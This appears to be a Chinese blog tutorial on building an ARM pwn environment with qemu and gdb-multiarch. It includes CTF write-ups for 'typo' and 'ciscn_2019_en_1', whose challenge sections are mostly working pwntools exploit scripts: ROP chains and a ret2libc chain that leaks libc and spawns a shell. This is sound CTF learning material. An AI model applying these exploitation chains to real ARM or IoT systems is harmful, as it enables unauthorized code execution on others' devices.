arm-Pwn环境搭建+简单题目

前言

起因是看到一篇IOT CVE的分析文章。

正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。

环境搭建/调试

1. 安装 gdb-multiarch

sudo apt-get install gdb-multiarch

2. 安装qemu

ctf的arm_pwn只需要安装qemu-user就行了。

binfmt*是用来识别文件类型

sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序。
jarvisoj typo为例
在这里插入图片描述

3. 动态链接的arm程序配置

查找:

apt search  "libc6-" | grep 'arm'

在这里插入图片描述
可以根据需要安装不同架构的库
对于arm32就是这个

sudo apt-get install libc6-armel-cross

4. 运行方式

-L 指定运行库,-g 指定端口

qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1

在这里插入图片描述

5. 动态调试

安装过程问题不大,记录下调试。
这里没用pwntools,先用gdb端口来看:

gdb-multiarch
set architecture arm
target remote localhost:23333

image

然后另一个终端运行待调试程序
以静态链接的typo为例:
不需要-L指定动态链接库,-g指定端口。

qemu-arm -g 23333 ./typo

image

image

pwntools调试

如果用py脚本调试,就加上这句:

p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])

然后一样的gdb-multiarch设置好

target remote localhost:23333

再运行python即可调试。

两道题目

拿两道arm32的题来熟悉一下。

javisoj-typo

题目链接
对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。
结果
image

也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。
(当然要全插件版的IDA)

回到题目。
第一个arm_pwn

程序静态链接,无PIE,无canary。
在这里插入图片描述

直接rop system(“/bin/sh”)

注意下要先恢复符号,不然不一定找得到system。
image

image

主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。
然后arm指令集是由pop pc这种来控制指令流的。
填充完缓冲区后不需要覆盖"old_ebp"。

Exp:
image

binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904

pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)

sa("quit\n",b"\n")
sleep(0.3)
sl(pl)

p.interactive()

ciscn_2019_en_1

题目链接

在这里插入图片描述
动态链接,无PIE。

IDA看程序,在这里插入图片描述
很明显的一个栈溢出。我们尝试ret2libc。
首先要寻找gadget。
而这里是找不到pop r0的,这也是本题的难点所在。

但我们可以通过这个地方的gadget来间接控制r0:
在这里插入图片描述

跟ret2csu很类似,我们首先传入POP {R4-R10,PC}的gadget,
这样我们就能控制R7,R3寄存器的值。
然后PC寄存器填上MOV R0.R7,也就是上面那个gadget的地址。
这样我们就能通过R7控制R0,通过R3控制BLX执行的函数了。

只是还有个问题,那个POP {R4-R10}其实没有R3。。
但我们可以找一个R3的gadget,比如

0x000103a4 : pop {r3, pc}

来赋值R3,并且控制指令流。

具体到ret2libc流程来说,

R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7

就可以打印出puts的地址了。

泄露libc后就正常再打一遍system("/bin/sh")即可。
只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)后返回的地址。。
所以打印完后程序会直接退出。

当然本地两次开process它们的基址是不变的,所以我们再process一个来getshell即可。

本地

Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0


# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pc


ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

在这里插入图片描述

远程

打远程的话就不能这么开两次process
所以对于那个类csu gadget利用顺序就要改一改了。
核心就是改顺序使得能控制puts(puts_got)后的返回地址。

顺序改为:

padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC

到这里的话就是第一遍gadget,类似csu的gadget1->gadget2
然后再次"滑"到gadget1的POP {R4-R10,PC}
我们就可以控制PC了。

p32(0)*7
vuln_addr # PC

然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。
自己调整一下,
两个地方:

puts_got = 0x21010
libcbase = leak - 0x00047b30

远程的Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0

info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pc

ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值